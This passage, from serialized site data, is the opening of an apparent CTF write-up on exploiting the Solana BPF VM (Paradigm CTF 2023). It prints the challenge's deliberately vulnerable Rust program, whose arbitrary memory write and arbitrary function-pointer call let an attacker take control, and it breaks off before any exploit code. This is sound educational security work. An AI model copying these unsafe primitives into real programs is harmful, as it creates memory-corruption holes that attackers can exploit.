secure.",{"type":26,"tag":2548,"props":40110,"children":40111},{},[40112],{"type":32,"value":2552},{"title":7,"searchDepth":516,"depth":516,"links":40114},[40115,40116,40123,40131],{"id":18664,"depth":516,"text":18667},{"id":35148,"depth":516,"text":35151,"children":40117},[40118,40119,40120,40121,40122],{"id":35159,"depth":539,"text":35162},{"id":35227,"depth":539,"text":35230},{"id":35263,"depth":539,"text":35266},{"id":36657,"depth":539,"text":36660},{"id":37015,"depth":539,"text":37018},{"id":37801,"depth":516,"text":37804,"children":40124},[40125,40126,40127,40128,40129,40130],{"id":37807,"depth":539,"text":37810},{"id":37851,"depth":539,"text":37854},{"id":38754,"depth":539,"text":38757},{"id":5374,"depth":539,"text":5377},{"id":39196,"depth":539,"text":34524},{"id":2510,"depth":539,"text":2513},{"id":2533,"depth":516,"text":2536},"content:blog:2023-11-01-metamask-snaps.md","blog/2023-11-01-metamask-snaps.md","blog/2023-11-01-metamask-snaps",{"_path":40136,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"title":40137,"description":40138,"author":40139,"image":40141,"date":40143,"isFeatured":18,"onBlogPage":18,"body":40144,"_type":2566,"_id":45564,"_source":2568,"_file":45565,"_stem":45566,"_extension":2571},"/blog/2023-12-11-jumping-around-in-the-vm","Solana: Jumping Around in the VM","An exploration of low-level Solana VM behavior. How to escalate from a powerful memory corruption primitive to full program control.",[40140,5432],"nicola",{"src":40142},"/posts/jumping-around-in-the-vm/cover.png","2023-12-11",{"type":23,"children":40145,"toc":45553},[40146,40160,40180,40185,40189,40202,40227,40233,40238,40253,40607,40622,40887,40903,41546,41552,41557,41570,41578,41790,41798,42101,42109,42252,42260,42785,42791,42803,42816,42830,42835,43603,43608,43616,43621,43627,43639,43704,43709,43722,43735,43741,43769,44920,44933,44975,44980,44985,44999,45139,45160,45181,45188,45239,45247,45258,45271,45276,45400,45413,45515,45519,45532,45537,45549],{"type":26,"tag":35,"props":40147,"children":40148},{},[40149,40151,40158],{"type":32,"value":40150},"In the world of CTFs, ",{"type":26,"tag":116,"props":40152,"children":40155},{"href":40153,"rel":40154},"https://twitter.com/paradigm_ctf",[120],[40156],{"type":32,"value":40157},"Paradigm CTF 2023",{"type":32,"value":40159}," was like no other. Presenting a unique Solana challenge, the goal was to leverage Jump Oriented Programming, a web2 binary exploitation technique, inside the Solana VM to achieve arbitrary CPI execution.",{"type":26,"tag":35,"props":40161,"children":40162},{},[40163,40165,40172,40173],{"type":32,"value":40164},"To succeed in this challenge, a strong understanding of the Solana VM is required. We've explored parts of the Solana VM internals in two previous blog posts: ",{"type":26,"tag":116,"props":40166,"children":40169},{"href":40167,"rel":40168},"https://osec.io/blog/2022-03-14-solana-security-intro",[120],[40170],{"type":32,"value":40171},"Solana: An Auditor's Introduction",{"type":32,"value":209},{"type":26,"tag":116,"props":40174,"children":40177},{"href":40175,"rel":40176},"https://osec.io/blog/2022-08-27-reverse-engineering-solana",[120],[40178],{"type":32,"value":40179},"Reverse Engineering Solana with Binary Ninja.\n",{"type":26,"tag":35,"props":40181,"children":40182},{},[40183],{"type":32,"value":40184},"In this comprehensive overview, we'll break down critical components of the Solana BPF VM necessary to write a complete memory-corruption exploit. We then turn an arbitrary function call and memory write primitive into a full exploit.",{"type":26,"tag":27,"props":40186,"children":40187},{"id":18664},[40188],{"type":32,"value":18667},{"type":26,"tag":35,"props":40190,"children":40191},{},[40192,40194,40200],{"type":32,"value":40193},"The challenge itself resides into ",{"type":26,"tag":53,"props":40195,"children":40197},{"className":40196},[],[40198],{"type":32,"value":40199},"framework/",{"type":32,"value":40201},", and is composed of 2 parts:",{"type":26,"tag":82,"props":40203,"children":40204},{},[40205,40216],{"type":26,"tag":86,"props":40206,"children":40207},{},[40208,40214],{"type":26,"tag":53,"props":40209,"children":40211},{"className":40210},[],[40212],{"type":32,"value":40213},"framework/chall/lib.rs",{"type":32,"value":40215},": The on-chain eBPF program that needs to be exploited.",{"type":26,"tag":86,"props":40217,"children":40218},{},[40219,40225],{"type":26,"tag":53,"props":40220,"children":40222},{"className":40221},[],[40223],{"type":32,"value":40224},"framework/src/main.rs",{"type":32,"value":40226},": Program that setups a solana test environment, gets a single instruction and make it possible to users to interact with the on-chain program.",{"type":26,"tag":41,"props":40228,"children":40230},{"id":40229},"vulnerable-program",[40231],{"type":32,"value":40232},"Vulnerable Program",{"type":26,"tag":35,"props":40234,"children":40235},{},[40236],{"type":32,"value":40237},"The program is simple: it parses the input data and does something based on the first byte. Each potential action is quite out of the ordinary though!",{"type":26,"tag":181,"props":40239,"children":40240},{},[40241],{"type":26,"tag":86,"props":40242,"children":40243},{},[40244,40245,40251],{"type":32,"value":7192},{"type":26,"tag":53,"props":40246,"children":40248},{"className":40247},[],[40249],{"type":32,"value":40250},"data[0] == 0",{"type":32,"value":40252}," a function that lets you write-what-where is executed",{"type":26,"tag":465,"props":40254,"children":40256},{"className":2685,"code":40255,"language":2684,"meta":7,"style":7},"#[inline(never)]\npub fn write(data: &[u8]) {\n unsafe {\n let ptr = std::mem::transmute::\u003C[u8; 8], *mut u64>(data[..8].try_into().unwrap());\n let val = std::mem::transmute::\u003C[u8; 8], u64>(data[8..16].try_into().unwrap());\n ptr.write_volatile(val);\n }\n}\n",[40257],{"type":26,"tag":53,"props":40258,"children":40259},{"__ignoreMap":7},[40260,40268,40313,40324,40447,40564,40593,40600],{"type":26,"tag":475,"props":40261,"children":40262},{"class":477,"line":478},[40263],{"type":26,"tag":475,"props":40264,"children":40265},{"style":499},[40266],{"type":32,"value":40267},"#[inline(never)]\n",{"type":26,"tag":475,"props":40269,"children":40270},{"class":477,"line":516},[40271,40275,40279,40284,40288,40292,40296,40300,40304,40308],{"type":26,"tag":475,"props":40272,"children":40273},{"style":482},[40274],{"type":32,"value":13397},{"type":26,"tag":475,"props":40276,"children":40277},{"style":482},[40278],{"type":32,"value":13402},{"type":26,"tag":475,"props":40280,"children":40281},{"style":493},[40282],{"type":32,"value":40283}," write",{"type":26,"tag":475,"props":40285,"children":40286},{"style":499},[40287],{"type":32,"value":626},{"type":26,"tag":475,"props":40289,"children":40290},{"style":2375},[40291],{"type":32,"value":3408},{"type":26,"tag":475,"props":40293,"children":40294},{"style":714},[40295],{"type":32,"value":179},{"type":26,"tag":475,"props":40297,"children":40298},{"style":714},[40299],{"type":32,"value":6854},{"type":26,"tag":475,"props":40301,"children":40302},{"style":499},[40303],{"type":32,"value":3440},{"type":26,"tag":475,"props":40305,"children":40306},{"style":505},[40307],{"type":32,"value":3127},{"type":26,"tag":475,"props":40309,"children":40310},{"style":499},[40311],{"type":32,"value":40312},"]) {\n",{"type":26,"tag":475,"props":40314,"children":40315},{"class":477,"line":539},[40316,40320],{"type":26,"tag":475,"props":40317,"children":40318},{"style":482},[40319],{"type":32,"value":13540},{"type":26,"tag":475,"props":40321,"children":40322},{"style":499},[40323],{"type":32,"value":579},{"type":26,"tag":475,"props":40325,"children":40326},{"class":477,"line":548},[40327,40331,40335,40339,40344,40348,40353,40357,40362,40366,40371,40375,40379,40383,40387,40391,40395,40399,40403,40407,40411,40415,40419,40423,40427,40431,40435,40439,40443],{"type":26,"tag":475,"props":40328,"children":40329},{"style":482},[40330],{"type":32,"value":2770},{"type":26,"tag":475,"props":40332,"children":40333},{"style":2375},[40334],{"type":32,"value":13564},{"type":26,"tag":475,"props":40336,"children":40337},{"style":714},[40338],{"type":32,"value":2383},{"type":26,"tag":475,"props":40340,"children":40341},{"style":499},[40342],{"type":32,"value":40343}," std",{"type":26,"tag":475,"props":40345,"children":40346},{"style":714},[40347],{"type":32,"value":3187},{"type":26,"tag":475,"props":40349,"children":40350},{"style":499},[40351],{"type":32,"value":40352},"mem",{"type":26,"tag":475,"props":40354,"children":40355},{"style":714},[40356],{"type":32,"value":3187},{"type":26,"tag":475,"props":40358,"children":40359},{"style":493},[40360],{"type":32,"value":40361},"transmute",{"type":26,"tag":475,"props":40363,"children":40364},{"style":714},[40365],{"type":32,"value":3187},{"type":26,"tag":475,"props":40367,"children":40368},{"style":499},[40369],{"type":32,"value":40370},"\u003C[",{"type":26,"tag":475,"props":40372,"children":40373},{"style":505},[40374],{"type":32,"value":3127},{"type":26,"tag":475,"props":40376,"children":40377},{"style":499},[40378],{"type":32,"value":16933},{"type":26,"tag":475,"props":40380,"children":40381},{"style":903},[40382],{"type":32,"value":3786},{"type":26,"tag":475,"props":40384,"children":40385},{"style":499},[40386],{"type":32,"value":22769},{"type":26,"tag":475,"props":40388,"children":40389},{"style":714},[40390],{"type":32,"value":4282},{"type":26,"tag":475,"props":40392,"children":40393},{"style":482},[40394],{"type":32,"value":3430},{"type":26,"tag":475,"props":40396,"children":40397},{"style":505},[40398],{"type":32,"value":5573},{"type":26,"tag":475,"props":40400,"children":40401},{"style":499},[40402],{"type":32,"value":7323},{"type":26,"tag":475,"props":40404,"children":40405},{"style":2375},[40406],{"type":32,"value":3408},{"type":26,"tag":475,"props":40408,"children":40409},{"style":499},[40410],{"type":32,"value":3440},{"type":26,"tag":475,"props":40412,"children":40413},{"style":714},[40414],{"type":32,"value":2757},{"type":26,"tag":475,"props":40416,"children":40417},{"style":903},[40418],{"type":32,"value":3786},{"type":26,"tag":475,"props":40420,"children":40421},{"style":499},[40422],{"type":32,"value":15117},{"type":26,"tag":475,"props":40424,"children":40425},{"style":714},[40426],{"type":32,"value":353},{"type":26,"tag":475,"props":40428,"children":40429},{"style":493},[40430],{"type":32,"value":25863},{"type":26,"tag":475,"props":40432,"children":40433},{"style":499},[40434],{"type":32,"value":13586},{"type":26,"tag":475,"props":40436,"children":40437},{"style":714},[40438],{"type":32,"value":353},{"type":26,"tag":475,"props":40440,"children":40441},{"style":493},[40442],{"type":32,"value":3371},{"type":26,"tag":475,"props":40444,"children":40445},{"style":499},[40446],{"type":32,"value":2494},{"type":26,"tag":475,"props":40448,"children":40449},{"class":477,"line":558},[40450,40454,40459,40463,40467,40471,40475,40479,40483,40487,40491,40495,40499,40503,40507,40511,40515,40519,40523,40527,40531,40536,40540,40544,40548,40552,40556,40560],{"type":26,"tag":475,"props":40451,"children":40452},{"style":482},[40453],{"type":32,"value":2770},{"type":26,"tag":475,"props":40455,"children":40456},{"style":2375},[40457],{"type":32,"value":40458}," val",{"type":26,"tag":475,"props":40460,"children":40461},{"style":714},[40462],{"type":32,"value":2383},{"type":26,"tag":475,"props":40464,"children":40465},{"style":499},[40466],{"type":32,"value":40343},{"type":26,"tag":475,"props":40468,"children":40469},{"style":714},[40470],{"type":32,"value":3187},{"type":26,"tag":475,"props":40472,"children":40473},{"style":499},[40474],{"type":32,"value":40352},{"type":26,"tag":475,"props":40476,"children":40477},{"style":714},[40478],{"type":32,"value":3187},{"type":26,"tag":475,"props":40480,"children":40481},{"style":493},[40482],{"type":32,"value":40361},{"type":26,"tag":475,"props":40484,"children":40485},{"style":714},[40486],{"type":32,"value":3187},{"type":26,"tag":475,"props":40488,"children":40489},{"style":499},[40490],{"type":32,"value":40370},{"type":26,"tag":475,"props":40492,"children":40493},{"style":505},[40494],{"type":32,"value":3127},{"type":26,"tag":475,"props":40496,"children":40497},{"style":499},[40498],{"type":32,"value":16933},{"type":26,"tag":475,"props":40500,"children":40501},{"style":903},[40502],{"type":32,"value":3786},{"type":26,"tag":475,"props":40504,"children":40505},{"style":499},[40506],{"type":32,"value":22769},{"type":26,"tag":475,"props":40508,"children":40509},{"style":505},[40510],{"type":32,"value":7753},{"type":26,"tag":475,"props":40512,"children":40513},{"style":499},[40514],{"type":32,"value":7323},{"type":26,"tag":475,"props":40516,"children":40517},{"style":2375},[40518],{"type":32,"value":3408},{"type":26,"tag":475,"props":40520,"children":40521},{"style":499},[40522],{"type":32,"value":3440},{"type":26,"tag":475,"props":40524,"children":40525},{"style":903},[40526],{"type":32,"value":3786},{"type":26,"tag":475,"props":40528,"children":40529},{"style":714},[40530],{"type":32,"value":2757},{"type":26,"tag":475,"props":40532,"children":40533},{"style":903},[40534],{"type":32,"value":40535},"16",{"type":26,"tag":475,"props":40537,"children":40538},{"style":499},[40539],{"type":32,"value":15117},{"type":26,"tag":475,"props":40541,"children":40542},{"style":714},[40543],{"type":32,"value":353},{"type":26,"tag":475,"props":40545,"children":40546},{"style":493},[40547],{"type":32,"value":25863},{"type":26,"tag":475,"props":40549,"children":40550},{"style":499},[40551],{"type":32,"value":13586},{"type":26,"tag":475,"props":40553,"children":40554},{"style":714},[40555],{"type":32,"value":353},{"type":26,"tag":475,"props":40557,"children":40558},{"style":493},[40559],{"type":32,"value":3371},{"type":26,"tag":475,"props":40561,"children":40562},{"style":499},[40563],{"type":32,"value":2494},{"type":26,"tag":475,"props":40565,"children":40566},{"class":477,"line":582},[40567,40572,40576,40581,40585,40589],{"type":26,"tag":475,"props":40568,"children":40569},{"style":2375},[40570],{"type":32,"value":40571}," ptr",{"type":26,"tag":475,"props":40573,"children":40574},{"style":714},[40575],{"type":32,"value":353},{"type":26,"tag":475,"props":40577,"children":40578},{"style":493},[40579],{"type":32,"value":40580},"write_volatile",{"type":26,"tag":475,"props":40582,"children":40583},{"style":499},[40584],{"type":32,"value":626},{"type":26,"tag":475,"props":40586,"children":40587},{"style":2375},[40588],{"type":32,"value":12340},{"type":26,"tag":475,"props":40590,"children":40591},{"style":499},[40592],{"type":32,"value":3533},{"type":26,"tag":475,"props":40594,"children":40595},{"class":477,"line":596},[40596],{"type":26,"tag":475,"props":40597,"children":40598},{"style":499},[40599],{"type":32,"value":851},{"type":26,"tag":475,"props":40601,"children":40602},{"class":477,"line":610},[40603],{"type":26,"tag":475,"props":40604,"children":40605},{"style":499},[40606],{"type":32,"value":3607},{"type":26,"tag":181,"props":40608,"children":40609},{"start":516},[40610],{"type":26,"tag":86,"props":40611,"children":40612},{},[40613,40614,40620],{"type":32,"value":7192},{"type":26,"tag":53,"props":40615,"children":40617},{"className":40616},[],[40618],{"type":32,"value":40619},"data[0] == 1",{"type":32,"value":40621},", a CPI to a non-existent program is executed:",{"type":26,"tag":465,"props":40623,"children":40625},{"className":2685,"code":40624,"language":2684,"meta":7,"style":7},"#[inline(never)]\npub fn call(data: &[u8]) {\n let ix = Instruction {\n program_id: pubkey!(\"osecio5555555555555551111111111111111111111\"),\n data: data.try_into().unwrap(),\n accounts: vec![]\n };\n\n invoke_signed_unchecked(\n &ix,\n &[],\n &[],\n ).unwrap();\n}\n",[40626],{"type":26,"tag":53,"props":40627,"children":40628},{"__ignoreMap":7},[40629,40636,40680,40705,40735,40775,40796,40803,40810,40822,40838,40850,40861,40880],{"type":26,"tag":475,"props":40630,"children":40631},{"class":477,"line":478},[40632],{"type":26,"tag":475,"props":40633,"children":40634},{"style":499},[40635],{"type":32,"value":40267},{"type":26,"tag":475,"props":40637,"children":40638},{"class":477,"line":516},[40639,40643,40647,40652,40656,40660,40664,40668,40672,40676],{"type":26,"tag":475,"props":40640,"children":40641},{"style":482},[40642],{"type":32,"value":13397},{"type":26,"tag":475,"props":40644,"children":40645},{"style":482},[40646],{"type":32,"value":13402},{"type":26,"tag":475,"props":40648,"children":40649},{"style":493},[40650],{"type":32,"value":40651}," call",{"type":26,"tag":475,"props":40653,"children":40654},{"style":499},[40655],{"type":32,"value":626},{"type":26,"tag":475,"props":40657,"children":40658},{"style":2375},[40659],{"type":32,"value":3408},{"type":26,"tag":475,"props":40661,"children":40662},{"style":714},[40663],{"type":32,"value":179},{"type":26,"tag":475,"props":40665,"children":40666},{"style":714},[40667],{"type":32,"value":6854},{"type":26,"tag":475,"props":40669,"children":40670},{"style":499},[40671],{"type":32,"value":3440},{"type":26,"tag":475,"props":40673,"children":40674},{"style":505},[40675],{"type":32,"value":3127},{"type":26,"tag":475,"props":40677,"children":40678},{"style":499},[40679],{"type":32,"value":40312},{"type":26,"tag":475,"props":40681,"children":40682},{"class":477,"line":539},[40683,40687,40692,40696,40701],{"type":26,"tag":475,"props":40684,"children":40685},{"style":482},[40686],{"type":32,"value":2705},{"type":26,"tag":475,"props":40688,"children":40689},{"style":2375},[40690],{"type":32,"value":40691}," ix",{"type":26,"tag":475,"props":40693,"children":40694},{"style":714},[40695],{"type":32,"value":2383},{"type":26,"tag":475,"props":40697,"children":40698},{"style":505},[40699],{"type":32,"value":40700}," Instruction",{"type":26,"tag":475,"props":40702,"children":40703},{"style":499},[40704],{"type":32,"value":579},{"type":26,"tag":475,"props":40706,"children":40707},{"class":477,"line":548},[40708,40713,40717,40722,40726,40731],{"type":26,"tag":475,"props":40709,"children":40710},{"style":2375},[40711],{"type":32,"value":40712}," program_id",{"type":26,"tag":475,"props":40714,"children":40715},{"style":714},[40716],{"type":32,"value":179},{"type":26,"tag":475,"props":40718,"children":40719},{"style":493},[40720],{"type":32,"value":40721}," pubkey!",{"type":26,"tag":475,"props":40723,"children":40724},{"style":499},[40725],{"type":32,"value":626},{"type":26,"tag":475,"props":40727,"children":40728},{"style":629},[40729],{"type":32,"value":40730},"\"osecio5555555555555551111111111111111111111\"",{"type":26,"tag":475,"props":40732,"children":40733},{"style":499},[40734],{"type":32,"value":6450},{"type":26,"tag":475,"props":40736,"children":40737},{"class":477,"line":558},[40738,40743,40747,40751,40755,40759,40763,40767,40771],{"type":26,"tag":475,"props":40739,"children":40740},{"style":2375},[40741],{"type":32,"value":40742}," data",{"type":26,"tag":475,"props":40744,"children":40745},{"style":714},[40746],{"type":32,"value":179},{"type":26,"tag":475,"props":40748,"children":40749},{"style":2375},[40750],{"type":32,"value":14810},{"type":26,"tag":475,"props":40752,"children":40753},{"style":714},[40754],{"type":32,"value":353},{"type":26,"tag":475,"props":40756,"children":40757},{"style":493},[40758],{"type":32,"value":25863},{"type":26,"tag":475,"props":40760,"children":40761},{"style":499},[40762],{"type":32,"value":13586},{"type":26,"tag":475,"props":40764,"children":40765},{"style":714},[40766],{"type":32,"value":353},{"type":26,"tag":475,"props":40768,"children":40769},{"style":493},[40770],{"type":32,"value":3371},{"type":26,"tag":475,"props":40772,"children":40773},{"style":499},[40774],{"type":32,"value":3197},{"type":26,"tag":475,"props":40776,"children":40777},{"class":477,"line":582},[40778,40783,40787,40791],{"type":26,"tag":475,"props":40779,"children":40780},{"style":2375},[40781],{"type":32,"value":40782}," accounts",{"type":26,"tag":475,"props":40784,"children":40785},{"style":714},[40786],{"type":32,"value":179},{"type":26,"tag":475,"props":40788,"children":40789},{"style":493},[40790],{"type":32,"value":3435},{"type":26,"tag":475,"props":40792,"children":40793},{"style":499},[40794],{"type":32,"value":40795},"[]\n",{"type":26,"tag":475,"props":40797,"children":40798},{"class":477,"line":596},[40799],{"type":26,"tag":475,"props":40800,"children":40801},{"style":499},[40802],{"type":32,"value":1942},{"type":26,"tag":475,"props":40804,"children":40805},{"class":477,"line":610},[40806],{"type":26,"tag":475,"props":40807,"children":40808},{"emptyLinePlaceholder":18},[40809],{"type":32,"value":545},{"type":26,"tag":475,"props":40811,"children":40812},{"class":477,"line":650},[40813,40818],{"type":26,"tag":475,"props":40814,"children":40815},{"style":493},[40816],{"type":32,"value":40817}," invoke_signed_unchecked",{"type":26,"tag":475,"props":40819,"children":40820},{"style":499},[40821],{"type":32,"value":3169},{"type":26,"tag":475,"props":40823,"children":40824},{"class":477,"line":679},[40825,40829,40834],{"type":26,"tag":475,"props":40826,"children":40827},{"style":714},[40828],{"type":32,"value":3177},{"type":26,"tag":475,"props":40830,"children":40831},{"style":2375},[40832],{"type":32,"value":40833},"ix",{"type":26,"tag":475,"props":40835,"children":40836},{"style":499},[40837],{"type":32,"value":2425},{"type":26,"tag":475,"props":40839,"children":40840},{"class":477,"line":735},[40841,40845],{"type":26,"tag":475,"props":40842,"children":40843},{"style":714},[40844],{"type":32,"value":3177},{"type":26,"tag":475,"props":40846,"children":40847},{"style":499},[40848],{"type":32,"value":40849},"[],\n",{"type":26,"tag":475,"props":40851,"children":40852},{"class":477,"line":744},[40853,40857],{"type":26,"tag":475,"props":40854,"children":40855},{"style":714},[40856],{"type":32,"value":3177},{"type":26,"tag":475,"props":40858,"children":40859},{"style":499},[40860],{"type":32,"value":40849},{"type":26,"tag":475,"props":40862,"children":40863},{"class":477,"line":753},[40864,40868,40872,40876],{"type":26,"tag":475,"props":40865,"children":40866},{"style":499},[40867],{"type":32,"value":3362},{"type":26,"tag":475,"props":40869,"children":40870},{"style":714},[40871],{"type":32,"value":353},{"type":26,"tag":475,"props":40873,"children":40874},{"style":493},[40875],{"type":32,"value":3371},{"type":26,"tag":475,"props":40877,"children":40878},{"style":499},[40879],{"type":32,"value":3376},{"type":26,"tag":475,"props":40881,"children":40882},{"class":477,"line":761},[40883],{"type":26,"tag":475,"props":40884,"children":40885},{"style":499},[40886],{"type":32,"value":3607},{"type":26,"tag":181,"props":40888,"children":40889},{"start":539},[40890],{"type":26,"tag":86,"props":40891,"children":40892},{},[40893,40895,40901],{"type":32,"value":40894},"Finally, if ",{"type":26,"tag":53,"props":40896,"children":40898},{"className":40897},[],[40899],{"type":32,"value":40900},"data[0]",{"type":32,"value":40902}," is neither 0 nor 1, a function that lets you jump to an arbitrary address, passing an arbitrary value as the first parameter is executed:",{"type":26,"tag":465,"props":40904,"children":40906},{"className":2685,"code":40905,"language":2684,"meta":7,"style":7},"#[inline(never)]\npub fn process(mut data: &[u8]) {\n unsafe {\n let ptr = std::mem::transmute::\u003C[u8; 8], fn(u64)>(data[..8].try_into().unwrap());\n let val = std::mem::transmute::\u003C[u8; 8], u64>(data[8..16].try_into().unwrap());\n ptr(val);\n\n data = &data[16..];\n\n let ptr = std::mem::transmute::\u003C[u8; 8], fn(u64)>(data[..8].try_into().unwrap());\n let val = std::mem::transmute::\u003C[u8; 8], u64>(data[8..16].try_into().unwrap());\n ptr(val);\n }\n}\n",[40907],{"type":26,"tag":53,"props":40908,"children":40909},{"__ignoreMap":7},[40910,40917,40965,40976,41096,41211,41230,41237,41272,41279,41398,41513,41532,41539],{"type":26,"tag":475,"props":40911,"children":40912},{"class":477,"line":478},[40913],{"type":26,"tag":475,"props":40914,"children":40915},{"style":499},[40916],{"type":32,"value":40267},{"type":26,"tag":475,"props":40918,"children":40919},{"class":477,"line":516},[40920,40924,40928,40933,40937,40941,40945,40949,40953,40957,40961],{"type":26,"tag":475,"props":40921,"children":40922},{"style":482},[40923],{"type":32,"value":13397},{"type":26,"tag":475,"props":40925,"children":40926},{"style":482},[40927],{"type":32,"value":13402},{"type":26,"tag":475,"props":40929,"children":40930},{"style":493},[40931],{"type":32,"value":40932}," process",{"type":26,"tag":475,"props":40934,"children":40935},{"style":499},[40936],{"type":32,"value":626},{"type":26,"tag":475,"props":40938,"children":40939},{"style":482},[40940],{"type":32,"value":3430},{"type":26,"tag":475,"props":40942,"children":40943},{"style":2375},[40944],{"type":32,"value":14810},{"type":26,"tag":475,"props":40946,"children":40947},{"style":714},[40948],{"type":32,"value":179},{"type":26,"tag":475,"props":40950,"children":40951},{"style":714},[40952],{"type":32,"value":6854},{"type":26,"tag":475,"props":40954,"children":40955},{"style":499},[40956],{"type":32,"value":3440},{"type":26,"tag":475,"props":40958,"children":40959},{"style":505},[40960],{"type":32,"value":3127},{"type":26,"tag":475,"props":40962,"children":40963},{"style":499},[40964],{"type":32,"value":40312},{"type":26,"tag":475,"props":40966,"children":40967},{"class":477,"line":539},[40968,40972],{"type":26,"tag":475,"props":40969,"children":40970},{"style":482},[40971],{"type":32,"value":13540},{"type":26,"tag":475,"props":40973,"children":40974},{"style":499},[40975],{"type":32,"value":579},{"type":26,"tag":475,"props":40977,"children":40978},{"class":477,"line":548},[40979,40983,40987,40991,40995,40999,41003,41007,41011,41015,41019,41023,41027,41031,41035,41039,41043,41047,41052,41056,41060,41064,41068,41072,41076,41080,41084,41088,41092],{"type":26,"tag":475,"props":40980,"children":40981},{"style":482},[40982],{"type":32,"value":2770},{"type":26,"tag":475,"props":40984,"children":40985},{"style":2375},[40986],{"type":32,"value":13564},{"type":26,"tag":475,"props":40988,"children":40989},{"style":714},[40990],{"type":32,"value":2383},{"type":26,"tag":475,"props":40992,"children":40993},{"style":499},[40994],{"type":32,"value":40343},{"type":26,"tag":475,"props":40996,"children":40997},{"style":714},[40998],{"type":32,"value":3187},{"type":26,"tag":475,"props":41000,"children":41001},{"style":499},[41002],{"type":32,"value":40352},{"type":26,"tag":475,"props":41004,"children":41005},{"style":714},[41006],{"type":32,"value":3187},{"type":26,"tag":475,"props":41008,"children":41009},{"style":493},[41010],{"type":32,"value":40361},{"type":26,"tag":475,"props":41012,"children":41013},{"style":714},[41014],{"type":32,"value":3187},{"type":26,"tag":475,"props":41016,"children":41017},{"style":499},[41018],{"type":32,"value":40370},{"type":26,"tag":475,"props":41020,"children":41021},{"style":505},[41022],{"type":32,"value":3127},{"type":26,"tag":475,"props":41024,"children":41025},{"style":499},[41026],{"type":32,"value":16933},{"type":26,"tag":475,"props":41028,"children":41029},{"style":903},[41030],{"type":32,"value":3786},{"type":26,"tag":475,"props":41032,"children":41033},{"style":499},[41034],{"type":32,"value":22769},{"type":26,"tag":475,"props":41036,"children":41037},{"style":482},[41038],{"type":32,"value":19974},{"type":26,"tag":475,"props":41040,"children":41041},{"style":499},[41042],{"type":32,"value":626},{"type":26,"tag":475,"props":41044,"children":41045},{"style":505},[41046],{"type":32,"value":7753},{"type":26,"tag":475,"props":41048,"children":41049},{"style":499},[41050],{"type":32,"value":41051},")>(",{"type":26,"tag":475,"props":41053,"children":41054},{"style":2375},[41055],{"type":32,"value":3408},{"type":26,"tag":475,"props":41057,"children":41058},{"style":499},[41059],{"type":32,"value":3440},{"type":26,"tag":475,"props":41061,"children":41062},{"style":714},[41063],{"type":32,"value":2757},{"type":26,"tag":475,"props":41065,"children":41066},{"style":903},[41067],{"type":32,"value":3786},{"type":26,"tag":475,"props":41069,"children":41070},{"style":499},[41071],{"type":32,"value":15117},{"type":26,"tag":475,"props":41073,"children":41074},{"style":714},[41075],{"type":32,"value":353},{"type":26,"tag":475,"props":41077,"children":41078},{"style":493},[41079],{"type":32,"value":25863},{"type":26,"tag":475,"props":41081,"children":41082},{"style":499},[41083],{"type":32,"value":13586},{"type":26,"tag":475,"props":41085,"children":41086},{"style":714},[41087],{"type":32,"value":353},{"type":26,"tag":475,"props":41089,"children":41090},{"style":493},[41091],{"type":32,"value":3371},{"type":26,"tag":475,"props":41093,"children":41094},{"style":499},[41095],{"type":32,"value":2494},{"type":26,"tag":475,"props":41097,"children":41098},{"class":477,"line":558},[41099,41103,41107,41111,41115,41119,41123,41127,41131,41135,41139,41143,41147,41151,41155,41159,41163,41167,41171,41175,41179,41183,41187,41191,41195,41199,41203,41207],{"type":26,"tag":475,"props":41100,"children":41101},{"style":482},[41102],{"type":32,"value":2770},{"type":26,"tag":475,"props":41104,"children":41105},{"style":2375},[41106],{"type":32,"value":40458},{"type":26,"tag":475,"props":41108,"children":41109},{"style":714},[41110],{"type":32,"value":2383},{"type":26,"tag":475,"props":41112,"children":41113},{"style":499},[41114],{"type":32,"value":40343},{"type":26,"tag":475,"props":41116,"children":41117},{"style":714},[41118],{"type":32,"value":3187},{"type":26,"tag":475,"props":41120,"children":41121},{"style":499},[41122],{"type":32,"value":40352},{"type":26,"tag":475,"props":41124,"children":41125},{"style":714},[41126],{"type":32,"value":3187},{"type":26,"tag":475,"props":41128,"children":41129},{"style":493},[41130],{"type":32,"value":40361},{"type":26,"tag":475,"props":41132,"children":41133},{"style":714},[41134],{"type":32,"value":3187},{"type":26,"tag":475,"props":41136,"children":41137},{"style":499},[41138],{"type":32,"value":40370},{"type":26,"tag":475,"props":41140,"children":41141},{"style":505},[41142],{"type":32,"value":3127},{"type":26,"tag":475,"props":41144,"children":41145},{"style":499},[41146],{"type":32,"value":16933},{"type":26,"tag":475,"props":41148,"children":41149},{"style":903},[41150],{"type":32,"value":3786},{"type":26,"tag":475,"props":41152,"children":41153},{"style":499},[41154],{"type":32,"value":22769},{"type":26,"tag":475,"props":41156,"children":41157},{"style":505},[41158],{"type":32,"value":7753},{"type":26,"tag":475,"props":41160,"children":41161},{"style":499},[41162],{"type":32,"value":7323},{"type":26,"tag":475,"props":41164,"children":41165},{"style":2375},[41166],{"type":32,"value":3408},{"type":26,"tag":475,"props":41168,"children":41169},{"style":499},[41170],{"type":32,"value":3440},{"type":26,"tag":475,"props":41172,"children":41173},{"style":903},[41174],{"type":32,"value":3786},{"type":26,"tag":475,"props":41176,"children":41177},{"style":714},[41178],{"type":32,"value":2757},{"type":26,"tag":475,"props":41180,"children":41181},{"style":903},[41182],{"type":32,"value":40535},{"type":26,"tag":475,"props":41184,"children":41185},{"style":499},[41186],{"type":32,"value":15117},{"type":26,"tag":475,"props":41188,"children":41189},{"style":714},[41190],{"type":32,"value":353},{"type":26,"tag":475,"props":41192,"children":41193},{"style":493},[41194],{"type":32,"value":25863},{"type":26,"tag":475,"props":41196,"children":41197},{"style":499},[41198],{"type":32,"value":13586},{"type":26,"tag":475,"props":41200,"children":41201},{"style":714},[41202],{"type":32,"value":353},{"type":26,"tag":475,"props":41204,"children":41205},{"style":493},[41206],{"type":32,"value":3371},{"type":26,"tag":475,"props":41208,"children":41209},{"style":499},[41210],{"type":32,"value":2494},{"type":26,"tag":475,"props":41212,"children":41213},{"class":477,"line":582},[41214,41218,41222,41226],{"type":26,"tag":475,"props":41215,"children":41216},{"style":493},[41217],{"type":32,"value":40571},{"type":26,"tag":475,"props":41219,"children":41220},{"style":499},[41221],{"type":32,"value":626},{"type":26,"tag":475,"props":41223,"children":41224},{"style":2375},[41225],{"type":32,"value":12340},{"type":26,"tag":475,"props":41227,"children":41228},{"style":499},[41229],{"type":32,"value":3533},{"type":26,"tag":475,"props":41231,"children":41232},{"class":477,"line":596},[41233],{"type":26,"tag":475,"props":41234,"children":41235},{"emptyLinePlaceholder":18},[41236],{"type":